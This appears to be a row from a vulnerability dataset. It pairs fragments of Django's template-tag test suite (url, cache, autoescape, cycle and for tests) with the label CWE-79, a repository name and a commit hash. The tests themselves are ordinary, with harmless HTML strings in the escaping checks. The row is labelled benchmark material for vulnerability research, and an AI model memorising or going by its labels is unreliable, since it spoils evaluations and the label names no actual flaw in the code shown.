            'url18': ('{% url ""template_tests.views.client"" ""1,2"" %}', {}, '/client/1,2/'),

            'url19': ('{% url named_url client.id %}', {'named_url': 'template_tests.views.client', 'client': {'id': 1}}, '/client/1/'),
            'url20': ('{% url url_name_in_var client.id %}', {'url_name_in_var': 'named.client', 'client': {'id': 1}}, '/named-client/1/'),

            # Failures
            'url-fail01': ('{% url %}', {}, template.TemplateSyntaxError),
            'url-fail02': ('{% url ""no_such_view"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail03': ('{% url ""template_tests.views.client"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail04': ('{% url ""view"" id, %}', {}, template.TemplateSyntaxError),
            'url-fail05': ('{% url ""view"" id= %}', {}, template.TemplateSyntaxError),
            'url-fail06': ('{% url ""view"" a.id=id %}', {}, template.TemplateSyntaxError),
            'url-fail07': ('{% url ""view"" a.id!id %}', {}, template.TemplateSyntaxError),
            'url-fail08': ('{% url ""view"" id=""unterminatedstring %}', {}, template.TemplateSyntaxError),
            'url-fail09': ('{% url ""view"" id="", %}', {}, template.TemplateSyntaxError),

            'url-fail11': ('{% url named_url %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail12': ('{% url named_url %}', {'named_url': 'no_such_view'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail13': ('{% url named_url %}', {'named_url': 'template_tests.views.client'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail14': ('{% url named_url id, %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail15': ('{% url named_url id= %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail16': ('{% url named_url a.id=id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail17': ('{% url named_url a.id!id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail18': ('{% url named_url id=""unterminatedstring %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail19': ('{% url named_url id="", %}', {'named_url': 'view'}, template.TemplateSyntaxError),

            # {% url ... as var %}
            'url-asvar01': ('{% url ""template_tests.views.index"" as url %}', {}, ''),
            'url-asvar02': ('{% url ""template_tests.views.index"" as url %}{{ url }}', {}, '/'),
            'url-asvar03': ('{% url ""no_such_view"" as url %}{{ url }}', {}, ''),

            ### CACHE TAG ######################################################
            'cache03': ('{% load cache %}{% cache 2 test %}cache03{% endcache %}', {}, 'cache03'),
            'cache04': ('{% load cache %}{% cache 2 test %}cache04{% endcache %}', {}, 'cache03'),
            'cache05': ('{% load cache %}{% cache 2 test foo %}cache05{% endcache %}', {'foo': 1}, 'cache05'),
            'cache06': ('{% load cache %}{% cache 2 test foo %}cache06{% endcache %}', {'foo': 2}, 'cache06'),
            'cache07': ('{% load cache %}{% cache 2 test foo %}cache07{% endcache %}', {'foo': 1}, 'cache05'),

            # Allow first argument to be a variable.
            'cache08': ('{% load cache %}{% cache time test foo %}cache08{% endcache %}', {'foo': 2, 'time': 2}, 'cache06'),

            # Raise exception if we don't have at least 2 args, first one integer.
            'cache11': ('{% load cache %}{% cache %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache12': ('{% load cache %}{% cache 1 %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache13': ('{% load cache %}{% cache foo bar %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache14': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': 'fail'}, template.TemplateSyntaxError),
            'cache15': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': []}, template.TemplateSyntaxError),

            # Regression test for #7460.
            'cache16': ('{% load cache %}{% cache 1 foo bar %}{% endcache %}', {'foo': 'foo', 'bar': 'with spaces'}, ''),

            # Regression test for #11270.
            'cache17': ('{% load cache %}{% cache 10 long_cache_key poem %}Some Content{% endcache %}', {'poem': 'Oh freddled gruntbuggly/Thy micturations are to me/As plurdled gabbleblotchits/On a lurgid bee/That mordiously hath bitled out/Its earted jurtles/Into a rancid festering/Or else I shall rend thee in the gobberwarts with my blurglecruncheon/See if I dont.'}, 'Some Content'),

            # Test whitespace in filter arguments
            'cache18': ('{% load cache custom %}{% cache 2|noop:""x y"" cache18 %}cache18{% endcache %}', {}, 'cache18'),

            ### AUTOESCAPE TAG ##############################################
            'autoescape-tag01': (""{% autoescape off %}hello{% endautoescape %}"", {}, ""hello""),
            'autoescape-tag02': (""{% autoescape off %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""<b>hello</b>""),
            'autoescape-tag03': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""&lt;b&gt;hello&lt;/b&gt;""),

            # Autoescape disabling and enabling nest in a predictable way.
            'autoescape-tag04': (""{% autoescape off %}{{ first }} {% autoescape  on%}{{ first }}{% endautoescape %}{% endautoescape %}"", {""first"": ""<a>""}, ""<a> &lt;a&gt;""),

            'autoescape-tag05': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>first</b>""}, ""&lt;b&gt;first&lt;/b&gt;""),

            # Strings (ASCII or unicode) already marked as ""safe"" are not
            # auto-escaped
            'autoescape-tag06': (""{{ first }}"", {""first"": mark_safe(""<b>first</b>"")}, ""<b>first</b>""),
            'autoescape-tag07': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": mark_safe(""<b>Apple</b>"")}, ""<b>Apple</b>""),

            # Literal string arguments to filters, if used in the result, are
            # safe.
            'autoescape-tag08': (r'{% autoescape on %}{{ var|default_if_none:"" endquote\"" hah"" }}{% endautoescape %}', {""var"": None}, ' endquote"" hah'),

            # Objects which return safe strings as their __unicode__ method
            # won't get double-escaped.
            'autoescape-tag09': (r'{{ unsafe }}', {'unsafe': filters.UnsafeClass()}, 'you &amp; me'),
            'autoescape-tag10': (r'{{ safe }}', {'safe': filters.SafeClass()}, 'you &gt; me'),

            # The ""safe"" and ""escape"" filters cannot work due to internal
            # implementation details (fortunately, the (no)autoescape block
            # tags can be used in those cases)
            'autoescape-filtertag01': (""{{ first }}{% filter safe %}{{ first }} x<y{% endfilter %}"", {""first"": ""<a>""}, template.TemplateSyntaxError),

            # ifqeual compares unescaped vales.
            'autoescape-ifequal01': ('{% ifequal var ""this & that"" %}yes{% endifequal %}', {""var"": ""this & that""}, ""yes""),

            # Arguments to filters are 'safe' and manipulate their input unescaped.
            'autoescape-filters01': ('{{ var|cut:""&"" }}', {""var"": ""this & that""}, ""this  that""),
            'autoescape-filters02': ('{{ var|join:"" & \"" }}', {""var"": (""Tom"", ""Dick"", ""Harry"")}, ""Tom & Dick & Harry""),

            # Literal strings are safe.
            'autoescape-literals01': ('{{ ""this & that"" }}', {}, ""this & that""),

            # Iterating over strings outputs safe characters.
            'autoescape-stringiterations01': ('{% for l in var %}{{ l }},{% endfor %}', {'var': 'K&R'}, ""K,&amp;,R,""),

            # Escape requirement survives lookup.
            'autoescape-lookup01': ('{{ var.key }}', {""var"": {""key"": ""this & that""}}, ""this &amp; that""),

            # Static template tags
            'static-prefixtag01': ('{% load static %}{% get_static_prefix %}', {}, settings.STATIC_URL),
            'static-prefixtag02': ('{% load static %}{% get_static_prefix as static_prefix %}{{ static_prefix }}', {}, settings.STATIC_URL),
            'static-prefixtag03': ('{% load static %}{% get_media_prefix %}', {}, settings.MEDIA_URL),
            'static-prefixtag04': ('{% load static %}{% get_media_prefix as media_prefix %}{{ media_prefix }}', {}, settings.MEDIA_URL),
            'static-statictag01': ('{% load static %}{% static ""admin/base.css"" %}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag02': ('{% load static %}{% static base_css %}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag03': ('{% load static %}{% static ""admin/base.css"" as foo %}{{ foo }}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag04': ('{% load static %}{% static base_css as foo %}{{ foo }}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),

            # Verbatim template tag outputs contents without rendering.
            'verbatim-tag01': ('{% verbatim %}{{bare   }}{% endverbatim %}', {}, '{{bare   }}'),
            'verbatim-tag02': ('{% verbatim %}{% endif %}{% endverbatim %}', {}, '{% endif %}'),
            'verbatim-tag03': (""{% verbatim %}It's the {% verbatim %} tag{% endverbatim %}"", {}, ""It's the {% verbatim %} tag""),
            'verbatim-tag04': ('{% verbatim %}{% verbatim %}{% endverbatim %}{% endverbatim %}', {}, template.TemplateSyntaxError),
            'verbatim-tag05': ('{% verbatim %}{% endverbatim %}{% verbatim %}{% endverbatim %}', {}, ''),
            'verbatim-tag06': (""{% verbatim special %}Don't {% endverbatim %} just yet{% endverbatim special %}"", {}, ""Don't {% endverbatim %} just yet""),
        }

        if numpy:
            tests.update({
                # Numpy's array-index syntax allows a template to access a certain item of a subscriptable object.
                'numpy-array-index01': (""{{ var.1 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ""second item""),

                # Fail silently when the array index is out of range.
                'numpy-array-index02': (""{{ var.5 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ("""", ""INVALID"")),
            })

        return tests",CWE-79,django/django,c335c0fee92a658b6a09453ae73e5c542f10703a,"def get_template_tests(self):
        # SYNTAX --
        # 'template_name': ('template contents', 'context dict', 'expected string output' or Exception class)
        # This import is necessary when tests are run isolated:
        from .templatetags import custom  # noqa
        basedir = os.path.dirname(os.path.abspath(upath(__file__)))
        tests = {
            ### BASIC SYNTAX ################################################

            # Plain text should go through the template parser untouched
            'basic-syntax01': (""something cool"", {}, ""something cool""),

            # Variables should be replaced with their value in the current
            # context
            'basic-syntax02': (""{{ headline }}"", {'headline': 'Success'}, ""Success""),

            # More than one replacement variable is allowed in a template
            'basic-syntax03': (""{{ first }} --- {{ second }}"", {""first"": 1, ""second"": 2}, ""1 --- 2""),

            # Fail silently when a variable is not found in the current context
            'basic-syntax04': (""as{{ missing }}df"", {}, (""asdf"", ""asINVALIDdf"")),

            # A variable may not contain more than one word
            'basic-syntax06': (""{{ multi word variable }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty variable tags
            'basic-syntax07': (""{{ }}"", {}, template.TemplateSyntaxError),
            'basic-syntax08': (""{{        }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call an object's attribute
            'basic-syntax09': (""{{ var.method }}"", {""var"": SomeClass()}, ""SomeClass.method""),

            # Multiple levels of attribute access are allowed
            'basic-syntax10': (""{{ var.otherclass.method }}"", {""var"": SomeClass()}, ""OtherClass.method""),

            # Fail silently when a variable's attribute isn't found
            'basic-syntax11': (""{{ var.blech }}"", {""var"": SomeClass()}, ("""", ""INVALID"")),

            # Raise TemplateSyntaxError when trying to access a variable beginning with an underscore
            'basic-syntax12': (""{{ var.__dict__ }}"", {""var"": SomeClass()}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a variable containing an illegal character
            'basic-syntax13': (""{{ va>r }}"", {}, template.TemplateSyntaxError),
            'basic-syntax14': (""{{ (var.r) }}"", {}, template.TemplateSyntaxError),
            'basic-syntax15': (""{{ sp%am }}"", {}, template.TemplateSyntaxError),
            'basic-syntax16': (""{{ eggs! }}"", {}, template.TemplateSyntaxError),
            'basic-syntax17': (""{{ moo? }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call a dictionary key's value
            'basic-syntax18': (""{{ foo.bar }}"", {""foo"": {""bar"": ""baz""}}, ""baz""),

            # Fail silently when a variable's dictionary key isn't found
            'basic-syntax19': (""{{ foo.spam }}"", {""foo"": {""bar"": ""baz""}}, ("""", ""INVALID"")),

            # Fail silently when accessing a non-simple method
            'basic-syntax20': (""{{ var.method2 }}"", {""var"": SomeClass()}, ("""", ""INVALID"")),

            # Don't silence a TypeError if it was raised inside a callable
            'basic-syntax20b': (""{{ var.method5 }}"", {""var"": SomeClass()}, TypeError),

            # Don't get confused when parsing something that is almost, but not
            # quite, a template tag.
            'basic-syntax21': (""a {{ moo %} b"", {}, ""a {{ moo %} b""),
            'basic-syntax22': (""{{ moo #}"", {}, ""{{ moo #}""),

            # Will try to treat ""moo #} {{ cow"" as the variable. Not ideal, but
            # costly to work around, so this triggers an error.
            'basic-syntax23': (""{{ moo #} {{ cow }}"", {""cow"": ""cow""}, template.TemplateSyntaxError),

            # Embedded newlines make it not-a-tag.
            'basic-syntax24': (""{{ moo\n }}"", {}, ""{{ moo\n }}""),

            # Literal strings are permitted inside variables, mostly for i18n
            # purposes.
            'basic-syntax25': ('{{ ""fred"" }}', {}, ""fred""),
            'basic-syntax26': (r'{{ ""\""fred\"""" }}', {}, ""\""fred\""""),
            'basic-syntax27': (r'{{ _(""\""fred\"""") }}', {}, ""\""fred\""""),

            # regression test for ticket #12554
            # make sure a silent_variable_failure Exception is suppressed
            # on dictionary and attribute lookup
            'basic-syntax28': (""{{ a.b }}"", {'a': SilentGetItemClass()}, ('', 'INVALID')),
            'basic-syntax29': (""{{ a.b }}"", {'a': SilentAttrClass()}, ('', 'INVALID')),

            # Something that starts like a number but has an extra lookup works as a lookup.
            'basic-syntax30': (""{{ 1.2.3 }}"", {""1"": {""2"": {""3"": ""d""}}}, ""d""),
            'basic-syntax31': (""{{ 1.2.3 }}"", {""1"": {""2"": (""a"", ""b"", ""c"", ""d"")}}, ""d""),
            'basic-syntax32': (""{{ 1.2.3 }}"", {""1"": ((""x"", ""x"", ""x"", ""x""), (""y"", ""y"", ""y"", ""y""), (""a"", ""b"", ""c"", ""d""))}, ""d""),
            'basic-syntax33': (""{{ 1.2.3 }}"", {""1"": (""xxxx"", ""yyyy"", ""abcd"")}, ""d""),
            'basic-syntax34': (""{{ 1.2.3 }}"", {""1"": ({""x"": ""x""}, {""y"": ""y""}, {""z"": ""z"", ""3"": ""d""})}, ""d""),

            # Numbers are numbers even if their digits are in the context.
            'basic-syntax35': (""{{ 1 }}"", {""1"": ""abc""}, ""1""),
            'basic-syntax36': (""{{ 1.2 }}"", {""1"": ""abc""}, ""1.2""),

            # Call methods in the top level of the context
            'basic-syntax37': ('{{ callable }}', {""callable"": lambda: ""foo bar""}, ""foo bar""),

            # Call methods returned from dictionary lookups
            'basic-syntax38': ('{{ var.callable }}', {""var"": {""callable"": lambda: ""foo bar""}}, ""foo bar""),

            'builtins01': ('{{ True }}', {}, ""True""),
            'builtins02': ('{{ False }}', {}, ""False""),
            'builtins03': ('{{ None }}', {}, ""None""),

            # List-index syntax allows a template to access a certain item of a subscriptable object.
            'list-index01': (""{{ var.1 }}"", {""var"": [""first item"", ""second item""]}, ""second item""),

            # Fail silently when the list index is out of range.
            'list-index02': (""{{ var.5 }}"", {""var"": [""first item"", ""second item""]}, ("""", ""INVALID"")),

            # Fail silently when the variable is not a subscriptable object.
            'list-index03': (""{{ var.1 }}"", {""var"": None}, ("""", ""INVALID"")),

            # Fail silently when variable is a dict without the specified key.
            'list-index04': (""{{ var.1 }}"", {""var"": {}}, ("""", ""INVALID"")),

            # Dictionary lookup wins out when dict's key is a string.
            'list-index05': (""{{ var.1 }}"", {""var"": {'1': ""hello""}}, ""hello""),

            # But list-index lookup wins out when dict's key is an int, which
            # behind the scenes is really a dictionary lookup (for a dict)
            # after converting the key to an int.
            'list-index06': (""{{ var.1 }}"", {""var"": {1: ""hello""}}, ""hello""),

            # Dictionary lookup wins out when there is a string and int version of the key.
            'list-index07': (""{{ var.1 }}"", {""var"": {'1': ""hello"", 1: ""world""}}, ""hello""),

            # Basic filter usage
            'filter-syntax01': (""{{ var|upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Chained filters
            'filter-syntax02': (""{{ var|upper|lower }}"", {""var"": ""Django is the greatest!""}, ""django is the greatest!""),

            # Allow spaces before the filter pipe
            'filter-syntax03': (""{{ var |upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Allow spaces after the filter pipe
            'filter-syntax04': (""{{ var| upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Raise TemplateSyntaxError for a nonexistent filter
            'filter-syntax05': (""{{ var|does_not_exist }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a filter containing an illegal character
            'filter-syntax06': (""{{ var|fil(ter) }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for invalid block tags
            'filter-syntax07': (""{% nothing_to_see_here %}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty block tags
            'filter-syntax08': (""{% %}"", {}, template.TemplateSyntaxError),

            # Chained filters, with an argument to the first one
            'filter-syntax09': ('{{ var|removetags:""b i""|upper|lower }}', {""var"": ""<b><i>Yes</i></b>""}, ""yes""),

            # Literal string as argument is always ""safe"" from auto-escaping..
            'filter-syntax10': (r'{{ var|default_if_none:"" endquote\"" hah"" }}',
                    {""var"": None}, ' endquote"" hah'),

            # Variable as argument
            'filter-syntax11': (r'{{ var|default_if_none:var2 }}', {""var"": None, ""var2"": ""happy""}, 'happy'),

            # Default argument testing
            'filter-syntax12': (r'{{ var|yesno:""yup,nup,mup"" }} {{ var|yesno }}', {""var"": True}, 'yup yes'),

            # Fail silently for methods that raise an exception with a
            # ""silent_variable_failure"" attribute
            'filter-syntax13': (r'1{{ var.method3 }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In methods that raise an exception without a
            # ""silent_variable_attribute"" set to True, the exception propagates
            'filter-syntax14': (r'1{{ var.method4 }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            # Escaped backslash in argument
            'filter-syntax15': (r'{{ var|default_if_none:""foo\bar"" }}', {""var"": None}, r'foo\bar'),

            # Escaped backslash using known escape char
            'filter-syntax16': (r'{{ var|default_if_none:""foo\now"" }}', {""var"": None}, r'foo\now'),

            # Empty strings can be passed as arguments to filters
            'filter-syntax17': (r'{{ var|join:"""" }}', {'var': ['a', 'b', 'c']}, 'abc'),

            # Make sure that any unicode strings are converted to bytestrings
            # in the final output.
            'filter-syntax18': (r'{{ var }}', {'var': UTF8Class()}, '\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111'),

            # Numbers as filter arguments should work
            'filter-syntax19': ('{{ var|truncatewords:1 }}', {""var"": ""hello world""}, ""hello ...""),

            # filters should accept empty string constants
            'filter-syntax20': ('{{ """"|default_if_none:""was none"" }}', {}, """"),

            # Fail silently for non-callable attribute and dict lookups which
            # raise an exception with a ""silent_variable_failure"" attribute
            'filter-syntax21': (r'1{{ var.silent_fail_key }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),
            'filter-syntax22': (r'1{{ var.silent_fail_attribute }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In attribute and dict lookups that raise an unexpected exception
            # without a ""silent_variable_attribute"" set to True, the exception
            # propagates
            'filter-syntax23': (r'1{{ var.noisy_fail_key }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),
            'filter-syntax24': (r'1{{ var.noisy_fail_attribute }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            # #16383 - A @property that raises AttributeError should not fail loudly.
            'filter-syntax25': ('{{ var.attribute_error_attribute }}', {""var"": SomeClass()}, (AttributeError)),

            ### COMMENT SYNTAX ########################################################
            'comment-syntax01': (""{# this is hidden #}hello"", {}, ""hello""),
            'comment-syntax02': (""{# this is hidden #}hello{# foo #}"", {}, ""hello""),

            # Comments can contain invalid stuff.
            'comment-syntax03': (""foo{#  {% if %}  #}"", {}, ""foo""),
            'comment-syntax04': (""foo{#  {% endblock %}  #}"", {}, ""foo""),
            'comment-syntax05': (""foo{#  {% somerandomtag %}  #}"", {}, ""foo""),
            'comment-syntax06': (""foo{# {% #}"", {}, ""foo""),
            'comment-syntax07': (""foo{# %} #}"", {}, ""foo""),
            'comment-syntax08': (""foo{# %} #}bar"", {}, ""foobar""),
            'comment-syntax09': (""foo{# {{ #}"", {}, ""foo""),
            'comment-syntax10': (""foo{# }} #}"", {}, ""foo""),
            'comment-syntax11': (""foo{# { #}"", {}, ""foo""),
            'comment-syntax12': (""foo{# } #}"", {}, ""foo""),

            ### COMMENT TAG ###########################################################
            'comment-tag01': (""{% comment %}this is hidden{% endcomment %}hello"", {}, ""hello""),
            'comment-tag02': (""{% comment %}this is hidden{% endcomment %}hello{% comment %}foo{% endcomment %}"", {}, ""hello""),

            # Comment tag can contain invalid stuff.
            'comment-tag03': (""foo{% comment %} {% if %} {% endcomment %}"", {}, ""foo""),
            'comment-tag04': (""foo{% comment %} {% endblock %} {% endcomment %}"", {}, ""foo""),
            'comment-tag05': (""foo{% comment %} {% somerandomtag %} {% endcomment %}"", {}, ""foo""),

            ### CYCLE TAG #############################################################
            'cycle01': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle02': ('{% cycle a,b,c as abc %}{% cycle abc %}', {}, 'ab'),
            'cycle03': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}', {}, 'abc'),
            'cycle04': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}', {}, 'abca'),
            'cycle05': ('{% cycle %}', {}, template.TemplateSyntaxError),
            'cycle06': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle07': ('{% cycle a,b,c as foo %}{% cycle bar %}', {}, template.TemplateSyntaxError),
            'cycle08': ('{% cycle a,b,c as foo %}{% cycle foo %}{{ foo }}{{ foo }}{% cycle foo %}{{ foo }}', {}, 'abbbcc'),
            'cycle09': (""{% for i in test %}{% cycle a,b %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle10': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}"", {}, 'ab'),
            'cycle11': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abc'),
            'cycle12': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abca'),
            'cycle13': (""{% for i in test %}{% cycle 'a' 'b' %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle14': (""{% cycle one two as foo %}{% cycle foo %}"", {'one': '1', 'two': '2'}, '12'),
            'cycle15': (""{% for i in test %}{% cycle aye bee %}{{ i }},{% endfor %}"", {'test': range(5), 'aye': 'a', 'bee': 'b'}, 'a0,b1,a2,b3,a4,'),
            'cycle16': (""{% cycle one|lower two as foo %}{% cycle foo %}"", {'one': 'A', 'two': '2'}, 'a2'),
            'cycle17': (""{% cycle 'a' 'b' 'c' as abc silent %}{% cycle abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, """"),
            'cycle18': (""{% cycle 'a' 'b' 'c' as foo invalid_flag %}"", {}, template.TemplateSyntaxError),
            'cycle19': (""{% cycle 'a' 'b' as silent %}{% cycle silent %}"", {}, ""ab""),
            'cycle20': (""{% cycle one two as foo %} &amp; {% cycle foo %}"", {'one': 'A & B', 'two': 'C & D'}, ""A &amp; B &amp; C &amp; D""),
            'cycle21': (""{% filter force_escape %}{% cycle one two as foo %} & {% cycle foo %}{% endfilter %}"", {'one': 'A & B', 'two': 'C & D'}, ""A &amp;amp; B &amp; C &amp;amp; D""),
            'cycle22': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ x }}{% endfor %}"", {'values': [1, 2, 3, 4]}, ""1234""),
            'cycle23': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ abc }}{{ x }}{% endfor %}"", {'values': [1, 2, 3, 4]}, ""a1b2c3a4""),
            'included-cycle': ('{{ abc }}', {'abc': 'xxx'}, 'xxx'),
            'cycle24': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{% include 'included-cycle' %}{% endfor %}"", {'values': [1, 2, 3, 4]}, ""abca""),
            'cycle25': ('{% cycle a as abc %}', {'a': '<'}, '&lt;'),

            'cycle26': ('{% load cycle from future %}{% cycle a b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '&lt;&gt;'),
            'cycle27': ('{% load cycle from future %}{% autoescape off %}{% cycle a b as ab %}{% cycle ab %}{% endautoescape %}', {'a': '<', 'b': '>'}, '<>'),
            'cycle28': ('{% load cycle from future %}{% cycle a|safe b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '<&gt;'),

            ### EXCEPTIONS ############################################################

            # Raise exception for invalid template name
            'exception01': (""{% extends 'nonexistent' %}"", {}, (template.TemplateDoesNotExist, template.TemplateDoesNotExist)),

            # Raise exception for invalid template name (in variable)
            'exception02': (""{% extends nonexistent %}"", {}, (template.TemplateSyntaxError, template.TemplateDoesNotExist)),

            # Raise exception for extra {% extends %} tags
            'exception03': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% extends 'inheritance16' %}"", {}, template.TemplateSyntaxError),

            # Raise exception for custom tags used in child with {% load %} tag in parent, not in child
            'exception04': (""{% extends 'inheritance17' %}{% block first %}{% echo 400 %}5678{% endblock %}"", {}, template.TemplateSyntaxError),

            # Raise exception for block.super used in base template
            'exception05': (""{% block first %}{{ block.super }}{% endblock %}"", {}, template.TemplateSyntaxError),

            ### FILTER TAG ############################################################
            'filter01': ('{% filter upper %}{% endfilter %}', {}, ''),
            'filter02': ('{% filter upper %}django{% endfilter %}', {}, 'DJANGO'),
            'filter03': ('{% filter upper|lower %}django{% endfilter %}', {}, 'django'),
            'filter04': ('{% filter cut:remove %}djangospam{% endfilter %}', {'remove': 'spam'}, 'django'),
            'filter05': ('{% filter safe %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter05bis': ('{% filter upper|safe %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter06': ('{% filter escape %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter06bis': ('{% filter upper|escape %}fail{% endfilter %}', {}, template.TemplateSyntaxError),

            ### FIRSTOF TAG ###########################################################
            'firstof01': ('{% firstof a b c %}', {'a': 0, 'b': 0, 'c': 0}, ''),
            'firstof02': ('{% firstof a b c %}', {'a': 1, 'b': 0, 'c': 0}, '1'),
            'firstof03': ('{% firstof a b c %}', {'a': 0, 'b': 2, 'c': 0}, '2'),
            'firstof04': ('{% firstof a b c %}', {'a': 0, 'b': 0, 'c': 3}, '3'),
            'firstof05': ('{% firstof a b c %}', {'a': 1, 'b': 2, 'c': 3}, '1'),
            'firstof06': ('{% firstof a b c %}', {'b': 0, 'c': 3}, '3'),
            'firstof07': ('{% firstof a b ""c"" %}', {'a': 0}, 'c'),
            'firstof08': ('{% firstof a b ""c and d"" %}', {'a': 0, 'b': 0}, 'c and d'),
            'firstof09': ('{% firstof %}', {}, template.TemplateSyntaxError),
            'firstof10': ('{% firstof a %}', {'a': '<'}, '&lt;'),

            'firstof11': ('{% load firstof from future %}{% firstof a b %}', {'a': '<', 'b': '>'}, '&lt;'),
            'firstof12': ('{% load firstof from future %}{% firstof a b %}', {'a': '', 'b': '>'}, '&gt;'),
            'firstof13': ('{% load firstof from future %}{% autoescape off %}{% firstof a %}{% endautoescape %}', {'a': '<'}, '<'),
            'firstof14': ('{% load firstof from future %}{% firstof a|safe b %}', {'a': '<'}, '<'),

            ### FOR TAG ###############################################################
            'for-tag01': (""{% for val in values %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag02': (""{% for val in values reversed %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""321""),
            'for-tag-vars01': (""{% for val in values %}{{ forloop.counter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""123""),
            'for-tag-vars02': (""{% for val in values %}{{ forloop.counter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""012""),
            'for-tag-vars03': (""{% for val in values %}{{ forloop.revcounter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""321""),
            'for-tag-vars04': (""{% for val in values %}{{ forloop.revcounter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""210""),
            'for-tag-vars05': (""{% for val in values %}{% if forloop.first %}f{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""fxx""),
            'for-tag-vars06': (""{% for val in values %}{% if forloop.last %}l{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""xxl""),
            'for-tag-unpack01': (""{% for key,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack03': (""{% for key, value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack04': (""{% for key , value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack05': (""{% for key ,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack06': (""{% for key value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack07': (""{% for key,,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack08': (""{% for key,value, in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            # Ensure that a single loopvar doesn't truncate the list in val.
